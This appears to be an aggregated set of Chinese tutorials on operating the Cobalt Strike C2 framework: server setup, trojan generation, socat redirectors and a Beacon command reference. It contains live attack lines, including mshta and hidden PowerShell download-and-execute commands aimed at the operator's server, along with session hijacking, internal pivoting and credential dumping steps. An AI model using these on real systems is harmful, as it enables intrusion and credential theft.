精华内容
下载资源
问答
  • Cobalt Strike使用教程一

    万次阅读 多人点赞 2019-10-24 15:52:46
    Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,...

    0x00 简介

    Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。
    Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

    0x01 目录结构

    一般Cobalt Strike目录结构如下:

    agscript 拓展应用的脚本
    c2lint 用于检查profile的错误异常
    teamserver 服务端程序
    cobaltstrike,cobaltstrike.jar客户端程序(java跨平台)
     license.pdf 许可证文件
    logs 目录记录与目标主机的相关信息 
    update,update.jar用于更新CS 
    third-party 第三方工具

    0x02 安装运行

    团队服务器

    团队服务器最好运行在Linux平台上,服务端的关键文件是teamserver和cobaltstrike.jar,将这两个文件放在同一目录下运行:

    ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
    <host> 必需参数 团队服务器IP
    <password> 必需参数 连接服务器的密码
    [/path/to/c2.profile] 可选参数 指定C2通信配置文件,体现其强大的扩展性
    [YYYY-MM-DD] 可选参数 所有payload的终止时间
    
    # 启动Team Server
    ./teamserver 192.168.183.147 123456 # 设置强密码,否则容易被爆破,参考附录

    在这里插入图片描述
    PS:团队服务器默认连接端口为50050,如果你想修改端口只需修改teamserver文件
    在这里插入图片描述

    客户端

    Linux:./cobaltstrike或 java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
    Windows:双击cobaltstrike.exe
    在这里插入图片描述
    输入服务端IP,端口默认50050,用户名任意,密码为之前设置的密码,点击connect。第一次连接会出现hash校验,这里的hash等于前面的启动teamserver时的hash,直接点击‘是’即可连接到团队服务器上。
    在这里插入图片描述

    0x02 参数详情

    Cobalt Strike

    New Connection   # 新建连接,支持连接多个服务器端
    Preferences   # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
    Visualization   # 主要展示输出结果的视图
    VPN Interfaces   # 设置VPN接口
    Listenrs   # 创建监听器
    Script Manager   # 脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等
    Close   # 退出连接

    View

    Applications   # 显示受害主机的应用信息
    Credentials   # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz
    Downloads   # 查看已下载文件
    Event Log   # 主机上线记录以及团队协作聊天记录
    Keystrokes   # 查看键盘记录结果
    Proxy Pivots   # 查看代理模块
    Screenshots   # 查看所有屏幕截图
    Script Console   # 加载第三方脚本以增强功能 
    Targets   # 显示所有受害主机
    Web Log    # 所有Web服务的日志

    Attacks

    Packages

    HTML Application   # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
    MS Office Macro   # 生成office宏病毒文件
    Payload Generator   # 生成各种语言版本的payload
    USB/CD AutoPlay   # 生成利用自动播放运行的木马文件
    Windows Dropper   # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差)
    Windows Executable   # 生成可执行exe木马
    Windows Executable(Stageless)   # 生成无状态的可执行exe木马

    Web Drive-by

    Manage   # 对开启的web服务进行管理
    Clone Site   # 克隆网站,可以记录受害者提交的数据
    Host File   # 提供文件下载,可以选择Mime类型
    Scripted Web Delivery   # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery 
    Signed Applet Attack   # 使用java自签名的程序进行钓鱼攻击(该方法已过时)
    Smart Applet Attack   # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时)
    System Profiler   # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等
    Spear Phish   # 鱼叉钓鱼邮件

    Reporting

    Activity Report   # 活动报告
    Hosts Report   # 主机报告
    Indicators of Compromise   # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
    Sessions Report   # 会话报告
    Social Engineering Report   # 社会工程报告:包括鱼叉钓鱼邮件及点击记录
    Tactics, Techniques, and Procedures   # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
    Reset Data   # 重置数据
    Export Data   # 导出数据,导出.tsv文件格式

    Help

    Homepage   # 官方主页
    Support   # 技术支持
    Arsenal   # 开发者
    System information   # 版本信息
    About   # 关于

    工具栏

    在这里插入图片描述

    1.新建连接
    2.断开当前连接
    3.监听器
    4.改变视图为Pivot Graph(视图列表)
    5.改变视图为Session Table(会话列表)
    6.改变视图为Target Table(目标列表)
    7.显示所有以获取的受害主机的凭证
    8.查看已下载文件
    9.查看键盘记录结果
    10.查看屏幕截图
    11.生成无状态的可执行exe木马
    12.使用java自签名的程序进行钓鱼攻击
    13.生成office宏病毒文件
    14.为payload提供web服务以便下载和执行
    15.提供文件下载,可以选择Mime类型
    16.管理Cobalt Strike上运行的web服务
    17.帮助
    18.关于

    0x03 基本流程

    创建监听器

    点击Cobalt Strike -> Listeners->Add,其中内置了九个Listener

    indows/beacon_dns/reverse_dns_txtwindows/beacon_dns/reverse_http
    windows/beacon_http/reverse_http
    windows/beacon_https/reverse_https
    windows/beacon_smb/bind_pipe
    windows/foreign/reverse_dns_txt
    windows/foreign/reverse_http
    windows/foreign/reverse_https
    windows/foreign/reverse_tcp

    其中windows/beacon为内置监听器,包括dns、http、https、smb四种方式的监听器;windows/foreign为外部监听器,配合Metasploit或者Armitage的监听器。
    在这里插入图片描述
    Name任意,选择所需的payload,Host为本机IP,port为没有被占用的任意端口
    点击save即创建成功
    在这里插入图片描述

    生成木马

    这里选择其中一种攻击方式作示范,后面再做详细解释:
    点击Attacks->Packages->HTML Application,选择对应的监听器,方法这里有三种(executable/VBA/powershell),选择powershell,点击Generate生成,选择生成的路径及文件名保存即可。
    在这里插入图片描述
    在这里插入图片描述

    开启web服务

    点击Attacks->Web Drive-by->Host File,选择刚刚生成的木马evil.hta,点击Launch生成下载链接
    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gGZcXV46-1571903546481)(/images/CobaltStrike/9.png)]
    在这里插入图片描述

    运行木马

    打开受害机cmd,运行mshta命令。mshta.exe是微软Windows操作系统相关程序,用于执行.HTA文件。

    mshta http://192.168.183.147/download/file.ext

    在这里插入图片描述
    返回CS即可看到肉鸡上线
    在这里插入图片描述
    选中受害机右击,选择interact,即可进行交互,由于受害机默认60秒进行一次回传,为了实验效果我们这里把时间设置成5,但实际中频率不宜过快,容易被发现。
    在这里插入图片描述

    导出报告

    点击Reporting->Activity Report,导出默认PDF文档
    在这里插入图片描述

    0x04 Beacon

    当受害机上线以后,右击选择Interact,就可以打开Beacon Console
    在beacon处输入help可以看到命令说明

    Beacon Commands
    ===============
    
        Command                   Description
        -------                   -----------
        argue                     进程参数欺骗
        blockdlls                 在子进程中阻止非Microsoft的DLLs文件
        browserpivot              注入受害者浏览器进程
        bypassuac                 绕过UAC
        cancel                    取消正在进行的下载
        cd                        切换目录
        checkin                   强制让被控端回连一次
        clear                     清除beacon内部的任务队列
        connect                   通过TCP连接到Beacon
        covertvpn                 部署Covert VPN客户端
        cp                        复制文件
        dcsync                    从DC中提取密码哈希
        desktop                   远程VNC
        dllinject                 反射DLL注入进程
        dllload                   使用LoadLibrary将DLL加载到进程中
        download                  下载文件
        downloads                 列出正在进行的文件下载
        drives                    列出目标盘符
        elevate                   尝试提权
        execute                   在目标上执行程序(无输出)
        execute-assembly          在目标上内存中执行本地.NET程序
        exit                      退出beacon
        getprivs                  对当前令牌启用系统权限
        getsystem                 尝试获取SYSTEM权限
        getuid                    获取用户ID
        hashdump                  转储密码哈希值
        help                      帮助
        inject                    在特定进程中生成会话
        jobkill                   杀死一个后台任务
        jobs                      列出后台任务
        kerberos_ccache_use       从ccache文件中导入票据应用于此会话
        kerberos_ticket_purge     清除当前会话的票据
        kerberos_ticket_use       从ticket文件中导入票据应用于此会话
        keylogger                 键盘记录
        kill                      结束进程
        link                      通过命名管道连接到Beacon
        logonpasswords            使用mimikatz转储凭据和哈希值
        ls                        列出文件
        make_token                创建令牌以传递凭据
        mimikatz                  运行mimikatz
        mkdir                     创建一个目录
        mode dns                  使用DNS A作为通信通道(仅限DNS beacon)
        mode dns-txt              使用DNS TXT作为通信通道(仅限D beacon)
        mode dns6                 使用DNS AAAA作为通信通道(仅限DNS beacon)
        mode http                 使用HTTP作为通信通道
        mv                        移动文件
        net                       net命令
        note                      给当前目标机器备注       
        portscan                  进行端口扫描
        powerpick                 通过Unmanaged PowerShell执行命令
        powershell                通过powershell.exe执行命令
        powershell-import         导入powershell脚本
        ppid                      为生成的post-ex任务设置父PID
        ps                        显示进程列表
        psexec                    使用服务在主机上生成会话
        psexec_psh                使用PowerShell在主机上生成会话
        psinject                  在特定进程中执行PowerShell命令
        pth                       使用Mimikatz进行传递哈希
        pwd                       当前目录位置
        reg                       查询注册表
        rev2self                  恢复原始令牌
        rm                        删除文件或文件夹
        rportfwd                  端口转发
        run                       在目标上执行程序(返回输出)
        runas                     以另一个用户权限执行程序
        runasadmin                在高权限下执行程序
        runu                      在另一个PID下执行程序
        screenshot                屏幕截图
        setenv                    设置环境变量
        shell                     cmd执行命令
        shinject                  将shellcode注入进程
        shspawn                   生成进程并将shellcode注入其中
        sleep                     设置睡眠延迟时间
        socks                     启动SOCKS4代理
        socks stop                停止SOCKS4
        spawn                     生成一个会话 
        spawnas                   以其他用户身份生成会话
        spawnto                   将可执行程序注入进程
        spawnu                    在另一个PID下生成会话
        ssh                       使用ssh连接远程主机
        ssh-key                   使用密钥连接远程主机
        steal_token               从进程中窃取令牌
        timestomp                 将一个文件时间戳应用到另一个文件
        unlink                    断开与Beacon的连接
        upload                    上传文件
        wdigest                   使用mimikatz转储明文凭据
        winrm                     使用WinRM在主机上生成会话
        wmi                       使用WMI在主机上生成会话

    可用help+命令的方式查看具体命令参数说明

    beacon> help argue
    Use: argue [command] [fake arguments]
         argue [command]
         argue
    
    Spoof [fake arguments] for [command] processes launched by Beacon.
    This option does not affect runu/spawnu, runas/spawnas, or post-ex jobs.
    
    Use argue [command] to disable this feature for the specified command.
    
    Use argue by itself to list programs with defined spoofed arguments.

    之前说过CS与受害机默认60s进行一次交互,为了方便实验我们可以把时间设置为0

    beacon>sleep 0

    下面我就介绍一下几个常用的命令

    browserpivot

    Browser Pivot是一个针对IE浏览器的技术,利用的是IE的cookie机制,Cobalt Strike通过IE注入进程以继承用户的已验证Web会话,达到无需验证登录用户访问的网站。
    假设受害者在通过IE浏览器登录了网站后台
    在这里插入图片描述
    我们可以通过ps找到浏览器进程,然后通过命令进行注入

    beacon> browserpivot 2600 x86

    在这里插入图片描述
    这里之所以选择PID 2600是因为我们需要插入Internet Explorer以继承用户的已验证Web会话。IE的新版本会为每个选项卡生成一个进程,我们必须将其插入子选项卡以继承会话状态。通常,子选项卡共享所有会话状态。通过查看PPID值来标识IE子选项卡进程,当PPID引用explorer.exe时,该进程不是子选项卡;当PPID引用iexplore.exe时,该进程就是子选项卡。
    当然这里也可以通过图形界面注入,右击选中Explore->Browser Pivot
    在这里插入图片描述
    然后浏览器设置代理
    在这里插入图片描述
    然后访问受害者所访问的网页,发现无需登录直接进入后台
    在这里插入图片描述

    Socks代理

    开启socks4a代理,通过代理进行内网渗透
    开启socks,可以通过命令,也可以通过右键Pivoting->SOCKS Server

    beacon> socks 2222
    [+] started SOCKS4a server on: 2222
    [+] host called home, sent: 16 bytes

    然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器
    在这里插入图片描述
    使用proxychains代理扫描内网主机

    proxychains nmap -sP 192.168.183.0/24

    在这里插入图片描述
    我们还可以通过隧道将整个msf带进目标内网
    点击View->Proxy Pivots,选择Socks4a Proxy,点击Tunnel:
    在这里插入图片描述

    setg Proxies socks4:192.168.183.147:2222

    打开msf对内网进行扫描
    在这里插入图片描述
    关闭socks

    beacon>socks stop

    powershell-import

    这个功能在后渗透测试中很有用,可以导入各种powershell渗透框架,如NishangPowerSploit攻击框架
    在beacon shell输入powershell-import,导入已有的ps文件

    beacon> powershell-import

    在这里插入图片描述
    在这里插入图片描述
    关于具体有哪些命令可以操作可以查看一下相应ps文件

    0x05 附录

    爆破cobalt strike密码脚本:https://github.com/ryanohoro/csbruter
    在这里插入图片描述
    在这里插入图片描述

    展开全文
  • 上一章说了cs的基本使用,今天说下重定器 重定器是一个在cs服务器和目标网络之间的服务器。这个重定器的作用是你团队服务器下的连接进行任意的连接或返回。(就是通常所说的代理服务器或端口转发工具) 作用: 1.保护...

    上一章说了cs的基本使用,今天说下重定器

    重定器是一个在cs服务器和目标网络之间的服务器。这个重定器的作用是你团队服务器下的连接进行任意的连接或返回。(就是通常所说的代理服务器或端口转发工具)
    作用:
    1.保护服务器地址,并作为攻击者他也是一个很好的操作
    2.它给予了一些很好的适应能力,假如你的工具中一两个堵塞没有大不了的也可以进行通信

    工具socat(一款重定向工具)我们用它来建立80端口上的连接管理,并且继续在80端口运行那个连接团队服务器的连接
    在linux系统上使用命令
    socat TCP4-LISTEN:80,fork TCP4:team.cskali.com:80

    准备的虚拟机
    一台kali作为cs服务器,一台ubuntu做重定器,一台win2008做dns

    kali 192.168.159.176 www.team.com
    ubuntu 192.168.159.183 r1.team.com
    dns 192.168.159.184
    debian 192.168.159.135 r2.team.com

    kali启动Cs服务
    ./teamserver 192.168.159.176 123456
    unbantu 做重定器
    socat TCP4-LISTEN:80,fork TCP4:www.team.com:80
    debin
    socat TCP4-LISTEN:80,fork TCP4:www.team.com:80

    win10连接cs服务器
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述

    powershell.exe -nop -w hidden -c “IEX ((new-object net.webclient).downloadstring(‘http://r1.team.com:80/a’))”

    展开全文
  • CobaltStrike使用详解

    2021-09-28 22:00:06
    CobaltStrike CobaltStrike是一款渗透测试神器,被业界人称为CS神器。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。 CobaltStrike集成了端口转发、服务扫描,自动...

    CobaltStrike

    CobaltStrike是一款渗透测试神器,被业界人称为CS神器。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。

    CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,windows exe 木马生成,windows dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。钓鱼攻击包括:站点克隆,目标信息获取,java 执行,浏览器自动攻击等等强大的功能!

    CobaltStrike的安装

    cobaltstrike4.0
    cobaltstrike4.4 (要求java11环境)
    在这里插入图片描述
    进入目录下执行:
    sudo chmod +x teamserver cobaltstrike

    CobaltStrike的使用

    启动服务端:

    ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
    
    后台运行:nohup  ./teamserver   192.168.10.11  123456  &
    这里CobaltStrike默认监听的是50050端口,如果我们想修改这个默认端口的话,可以打开teamserver文件,将其中的50050修改成任意一个端口号
    

    在这里插入图片描述

    CobaltStrike一些主要文件功能如下:

    
       · agscript:扩展应用的脚本
       
       · c2lint:用于检查profile的错误和异常
       
       · teamserver:服务器端启动程序
       
       · cobaltstrike.jar:CobaltStrike核心程序
       
       · cobaltstrike.auth:用于客户端和服务器端认证的文件,客户端和服务端有一个一模一样的
       
       · cobaltstrike.store:秘钥证书存放文件
    
    

    一些目录作用如下:

       
       · data:用于保存当前TeamServer的一些数据
       
       · download:用于存放在目标机器下载的数据
       
       · upload:上传文件的目录
       
       · logs:日志文件,包括Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等
       
       · third-party:第三方工具目录
    

    启动客户端连接

    在这里插入图片描述
    这里host填服务端的ip,密码就是启动服务的密码。在这里插入图片描述
    启动后的客户端:
    在这里插入图片描述
    我们也可以打开windows下的cobaltstrike客户端,前提是windows要有java11的环境。

    客户端使用说明

    在这里插入图片描述

    实例 获取一个Beacon

    1、建立Listener
    在这里插入图片描述在这里插入图片描述

    2、利用Web Delivery 执行Payload
    在这里插入图片描述选择已经创建的监听器,payload类型设为PowerShell
    在这里插入图片描述
    成功生成一个Payload在这里插入图片描述
    3、在目标执行Payload
    在这里插入图片描述
    查看日志、主界面,目标主机上线在这里插入图片描述在这里插入图片描述4、与目标主机进行交互
    选择需要交互的Beacon,单击“Interact”,进入交互模式
    在需要执行的命令前加个shell即可,如 shell whoami
    在这里插入图片描述

    展开全文
  • Cobalt Strike使用教程——基础篇

    千次阅读 2021-05-15 12:36:42
    Cobalt Strike 已成为了渗透测试中不可缺少的利器,它 文章目录一、基础概念(一) 定义 一、基础概念 (一) 定义 Cobalt Strike 是一个为对手模拟和红队行动而设计的平台,主要用于执行有目标的攻击和模拟高级威胁者...

    本文主要介绍 Cobalt Strike 4.3 的基本功能及使用方法,具体分析和实战中使用放在另一篇讲解:Cobalt Strike使用方法——实战篇

    一、基本介绍

    Cobalt Strike (CS) 是一个为对手模拟和红队行动而设计的平台,相当于增强版的Armitage,早期以Metasploit为基础框架,3.0版本之后作为独立平台开发,主要用于目标攻击和模拟后渗透行动。

    CS集成了端口转发、服务扫描、端口监听、木马生成、钓鱼攻击等功能,可以调用Mimikatz、Psexec等工具,与MSF进行联动,使用插件扩展功能,并且可以利用Malleable C2 profile自定义通信流量特征,是内网大杀器,十分适合作为团队协同攻击工具使用。

    (一) 目录结构

    CS4.3目录结构如下图所示:
    在这里插入图片描述
    其中主要文件功能:

    • teamserver:运行团队服务器的shell脚本
    • cobaltstrike.jar:用于运行客户端的jar包
    • cobaltstrike:运行客户端的shell脚本,如java -XX:+UseParallelGC -XX:+AggressiveHeap -XX:ParallelGCThreads=4 -jar cobaltstrike.jar $*
    • start.sh:运行客户端的shell脚本,与cobaltstrike作用相同
    • cobaltstrike.exe:Windows客户端程序
    • cobaltstrike.store:SSL秘钥库,可以使用keytool(Java数据证书管理工具)进行修改
    • agscript:连接团队服务器,运行cna插件的命令行工具
    • c2lint:检查profile配置文件的错误异常
    • update.jar:CS升级jar包
    • update.bat:CS升级批处理程序
    • log:日志目录,记录目标连接和操作情况
    • third-party:第三方工具

    (二) 运行命令

    CS分为客户端 (Client) 与团队服务器 (C2),客户端与团队服务器是多对多的关系,一个团队服务器可以连接多个客户端 (用于信息共享和团队协作),每个客户端也可以连接多个团队服务器 (避免因一个服务器宕机而导致目标丢失),客户端可以管理多个分布式节点,便于团队分布式协作攻击。

    团队服务器 通常运行在Linux环境,运行命令:

    ./teamserver <ip> <passwd> [profile] [YYYY-MM-DD]
    # ip:服务端IP
    # passwd:客户端与服务端的连接密码
    # profile:用户配置文件
    # YYYY-MM-DD:所有payload运行结束时间
    

    一般结合nohup命令使teamserver在后台运行,注意nohup默认将运行信息输出到nohup.out文件,若想不输出运行信息需要重定向标准输出/错误:(没有nohup则需要下载coreutils包)

    apt-get install coreutils
    nohup ./teamserver <ip> <passwd> [profile] [YYYY-MM-DD] >/dev/null 2>&1 &
    

    客户端 可以跨平台,运行在Linux/Windows环境,启动后在对话框输入服务端的ip和连接密码,名字自定义,运行命令:

    • Linux:
    java -XX:+UseParallelGC -XX:+AggressiveHeap -XX:ParallelGCThreads=4 -jar cobaltstrike.jar
    # -XX:+UseParallelGC 启用垃圾回收并发线程
    # -XX:+AggressiveHeap 启用堆优化设置
    # -XX:ParallelGCThreads=4 指定垃圾回收并发线程的数量
    # 以上配置都是为了优化java垃圾回收性能
    
    • Windows:运行cobaltstrike.exe

    注意:CS团队服务端默认监听50050端口,暴露在公网不安全,运行时最好修改,直接编辑teamserver文件修改端口即可。

    (三) 通信逻辑

    1.Payload上传和运行

    ① 一次性上传并运行一个完整的Payload,这个Payload称为Stageless,即无阶段之意,使用这种方式上传的Payload体积会比较大,但因为不用从服务器下载,相对而言比较安全;

    ② 先上传一个体积小巧的Stager,Stager负责通过HTTP、DNS等协议从服务器将完整的Payload下载后运行,这个后续下载的Payload称为Stage,Stager下载Stage的过程称为Payload Staging。

    2.C2 <—> Client

    ① C2开启服务器监听端口;

    ② Client与C2通过TLS协议建立连接,之后保持实时加密通信,C2相当于Client和靶机Beacon之间的信息中转枢纽

    3.C2 <—> Beacon

    ① C2开启监听端口,包括Stage下载端口 (如Stager需要) 和Beacon回连端口;

    Stager从Stager Host下载完整的Stage并运行,Stageless则省略下载的过程直接运行,获取Beacon;

    ③ Beacon进入睡眠状态,睡眠时间到后通过HTTP Get方式向C2发送Metadata;

    ④ C2响应Metadata,如果存在待执行的任务,C2会在响应数据中下发执行命令;

    ⑤ Beacon执行完毕后,通过HTTP Post方式向C2返回运行结果,之后再次回到睡眠状态。

    (四) 安全性能

    CS设置了多重安全通信机制,正是这些安全特性使得CS在稳控方面有独到的优势,具体如下:

    1.Client <—> C2

    Client和C2之间通过SSL协议通信,使用cobaltstrike.store中的SSL证书和秘钥信息加密通信数据,为去除CS流量特征,躲避安全审查,最好使用自己生成的cobaltstrike.store,使用keytool工具查看和生成cobaltstrike.store文件,初始storepass为123456,可以在服务端启动脚本teamserver中查看,keytool查看以及生成SSL证书和秘钥的基本命令如下:
    (每次生成的秘钥是随机的)

    # 查看ssl证书信息
    keytool -list -v -keystore cobaltstrike.store -storepass 123456
    # -list:输出证书信息
    # -v:详细模式
    # -keystore <storefile>:指定keystore文件
    # -storepass <password>:指定证书信息存储密码
    
    # 生成新的ssl证书信息
    keytool -genkeypair \
            -keystore cobaltstrike.store \
            -storepass password \
            -keypass password \
            -keyalg RSA \
            -validity 180 \
            -alias certificate \
            -dname "CN=Microsoft IT TLS CA 2, OU=Microsoft IT, O=Microsoft Corporation, L=Redmond, ST=Washington, C=US"
    # -genkeypair:生成密钥对(公钥和私钥)
    # ‐keypass <password>:指定用于加密私钥的密码
    # -keyalg <algorithm>:指定生成密钥对的算法
    # -validity <day>:证书有效天数,默认90天
    # ‐alias:指定证书别名
    # -dname:指定证书所有者信息,这里取浏览器中的CA证书
    # CN:通用名称,OU:组织单位名称,O:组织名称,L:城市或区域名称,ST:州或省份名称,C:单位的两字母国家代码
    

    生成新的cobaltstrike.store文件后,要在teamserver启动脚本中修改相应信息。

    2.C2 <—> Beacon

    首次设置Beacon Payload时,会生成一个C2专有的秘钥对 (公钥/私钥),公钥会嵌入Beacon的Payload Stage,用于加密Beacon发送到C2的Metadata,Beacon在和C2建立连接前会持续发送Metadata,其中包含了随机生成的会话秘钥,建立连接后,C2使用每个Beacon的会话秘钥来加密/解密之后的通信数据。即便HTTP和DNS Beacon,其通信数据也是经过加密的,具有和HTTPS Beacon一样的安全特性。

    3.C2 <-HTTPS-> Beacon

    cobaltstrike.store中的密钥对和证书信息只用于Client到C2的验证和数据加密,并不应用于HTTPS Beacon,修改证书信息要通过配置Malleable C2 profile文件,具体方法在另一篇文章介绍:Cobalt Strike使用方法——实战篇

    二、界面功能

    客户端界面如下所示,界面总体分为两部分,上半部分是会话或目标的图形化显示,下半部分是与用户交互的功能或会话的标签页:
    在这里插入图片描述

    (一) 菜单栏

    • Cobalt Strike
      New Connection:创建新连接,加入服务端
      Preferences:偏好设置,设置界面样式
      Visualization:视图模式,包括Pivot Graph、Session Table、Target Table三种
      VPN Interfaces:VPN接口管理
      Listenrs:监听器管理
      Script Manager:脚本管理

    • View
      Applications:靶机的应用信息
      Credentials:查看从靶机获取的账户密码
      Downloads:查看从靶机下载的文件
      Event Log:事件日志,可用于团队聊天
      Keystrokes:键盘记录
      Proxy Pivots:查看代理
      Screenshots:查看屏幕截图
      Script Console:脚本控制台,用于加载脚本
      Targets:显示目标靶机
      Web Log:Web日志

    • Attacks
      Packages:生成各种木马文件,包括:

              HTML Application:HTA木马文件
              MS Office Macro:OFFICE宏病毒文件
              Payload Generator:多种语言的Payload Stager
              USB/CD AutoPlay:自动播放运行的木马文件
              Windows Dropper:捆绑文件的木马
              Windows Executable:EXE木马 (Stager)
              Windows Executable(S):EXE木马 (Stageless)


      Web Drive-by:Web服务配置与管理,包括:

              Manage:管理Web服务
              Clone Site:克隆网站
              Host File:开启Web服务,供下载文件
              Scripted Web Delivery:开启Web服务,供下载和执行Payload
              Signed Applet Attack:开启Web服务为自签名Java Applet提供运行环境
              Smart Applet Attack:自动检测Java版本并利用已知的EXP绕过安全检测
              System Profiler:用于获取系统信息


      Spear Phish:鱼叉式攻击

    • Reporting
      Activity report:生成操作报告
      Hosts report:生成主机报告
      Indicators of Compromise:生成威胁报告
      Sessions report:生成会话报告
      Social engineering report:生成社会工程学报告
      Tactics, Techniques, and Procedures:生成策略、技巧和程序报告
      Reset Data:重置数据
      Export Data:导出数据

    (二) 工具栏

    即菜单栏中的部分功能,具体如下:

    在这里插入图片描述
    ① Connect to team server:连接服务端
    ② Disonnect from team server:断开当前服务端连接
    ③ Configure Listeners:配置监听器
    ④ Show sessions in graph view:展示会话列表
    ⑤ Show sessions in table view:展示视图列表
    ⑥ Show targets in table view:展示目标列表
    ⑦ Credentials:查看从靶机获取的账户密码
    ⑧ Downloaded Files:查看从靶机下载的文件
    ⑨ Keystrokes:查看键盘记录
    ⑩ Screenshots:查看屏幕截图
    ⑪ Generate Windows Executable (Stageless):生成无状态的EXE木马
    ⑫ Setup java Signed Applet Attack:开启Web服务为自签名Java Applet提供运行环境
    ⑬ MS Office Macro Attack:生成OFFICE宏病毒文件
    ⑭ Setup Scripted Web-Delivery (Stageless):开启Web服务,供下载和执行Payload
    ⑮ Host a file:开启Web服务,供下载文件
    ⑯ Manage Web Server:管理Web服务
    ⑰ Help:帮助文档
    ⑱ About:关于Cobalt Strike

    (三) Session 操作

    在Pivot Graph或Session Table视图右键点选session,或在Beacon交互命令窗中右键,可对目标进行进一步操作,如下所示:
    在这里插入图片描述

    • Interact
      打开Beacon交互界面,内置多种命令,使用helphelp <command>查看。注意HTTP和TCP Beacon默认心跳时间为60s,如果要缩短执行命令的响应时间,需要通过 sleep <secs> [jitter] 命令重新设置,secs为睡眠的时间,jitter为睡眠时间抖动的百分比 (0-99);如果存在父Beacon,则心跳时间与父Beacon相同。Beacon命令功能如下所示:

      注意:① Windows环境和Linux环境的Beacon命令有所区别
                 ② Session操作、Target操作本质上都相当于使用Beacon命令)
    Beacon Commands
    ===============
    
        Command                   Description
        -------                   -----------
        argue                     进程参数污染,利用虚假参数(通常很多)执行敏感操作绕过AV
        blockdlls                 限定子进程只能加载带有Microsoft签名的dll,使AV无法通过dll加载对恶意程序进行监控
        browserpivot              注入靶机IE浏览器进程并开启HTTP代理,攻击者可以通过此代理继承靶机IE已获取的凭证
        cancel                    取消正在进行的下载
        cd                        改变目录
        checkin                   使用DNS Beacon时,使靶机强制回连C2
        chromedump                从Chrome浏览器目录文件获取账户密码
        clear                     清除Beacon内的任务队列
        connect                   从当前Beacon连接到一个等待连接的TCP Beacon
        covertvpn                 部署隐蔽VPN
        cp                        复制文件
        dcsync                    从域控制器中提取账户哈希
        desktop                   查看并与靶机桌面交互
        dllinject                 将反射型DLL注入进程
        dllload                   使用LoadLibrary()将DLL加载到进程
        download                  下载文件
        downloads                 列出下载下载的文件
        drives                    列出目标盘符
        elevate                   生成提权环境的会话
        execute                   在靶机执行命令(无输出)
        execute-assembly          在靶机内存中执行本地.NET程序
        exit                      结束当前Beacon会话
        getprivs                  在当前凭证基础上提权
        getsystem                 获取SYSTEM权限
        getuid                    获取当前用户身份
        hashdump                  导出账户哈希
        help                      帮助文档,"help+命令"查看命令的使用方法
        inject                    在特定进程生成会话
        inline-execute            在当前会话中运行BOF(使用Beacon Api开发的文件)
        jobkill                   结束CS长时间运行的后开发作业进程
        jobs                      列出CS所有长时间运行的后开发作业(post-exploitation),
                                  这些作业由CS执行恶意功能时临时创建
        jump                      与远程主机新建连接生成新的会话
        kerberos_ccache_use       从ccache文件中导入kerberos票据应用于当前会话
        kerberos_ticket_purge     从当前会话中清除kerberos票据
        kerberos_ticket_use       从ticket文件中导入kerberos票据应用于当前会话
        keylogger                 开启键盘记录,可以将其注入指定的进程
        kill                      结束进程
        link                      从当前Beacon连接到一个等待连接的SMB Beacon
        logonpasswords            利用mimikatz获取账户密码和哈希
        ls                        显示当前目录文件
        make_token                生成指定域用户的令牌,用于传递凭证,身份冒充
        mimikatz                  运行mimikatz命令
        mkdir                     新建目录
        mode dns                  使用DNS A作为数据信道(仅限DNS Beacon)
        mode dns-txt              使用DNS TXT作为数据信道(仅限DNS Beacon)
        mode dns6                 使用DNS AAAA作为数据信道(仅限DNS Beacon)
        mv                        移动文件
        net                       net命令,如net view、net user等
        note                      为当前Beacon做备注    
        portscan                  扫描端口
        powerpick                 通过unmanaged powershell执行命令
        powershell                通过powershell.exe执行命令
        powershell-import         导入powershell脚本
        ppid                      为Beacon会话中执行的命令分配父进程
        printscreen               使用PrintScr方法屏幕截图,可以将其注入至特定进程
        ps                        显示进程列表
        psinject                  在特定进程中执行powershell命令
        pth                       使用Mimikatz哈希传递
        pwd                       显示当前目录
        reg                       查询注册表键值
        remote-exec               在靶机使用psexec、powershell、wmic执行命令
        rev2self                  恢复为原始令牌
        rm                        删除文件或目录
        rportfwd                  新建端口转发,端口转发的流量由CS服务端做中转
        rportfwd_local            新建端口转发,端口转发的流量先途径CS客户端,
                                  再借由CS客户端和服务端已经建立的隧道做流量中转
        run                       在靶机执行命令 (有输出)
        runas                     以其他用户身份执行命令
        runasadmin                以admin权限执行命令
        runu                      选择特定的父进程执行命令
        screenshot                屏幕截图,可以将其注入至特定进程
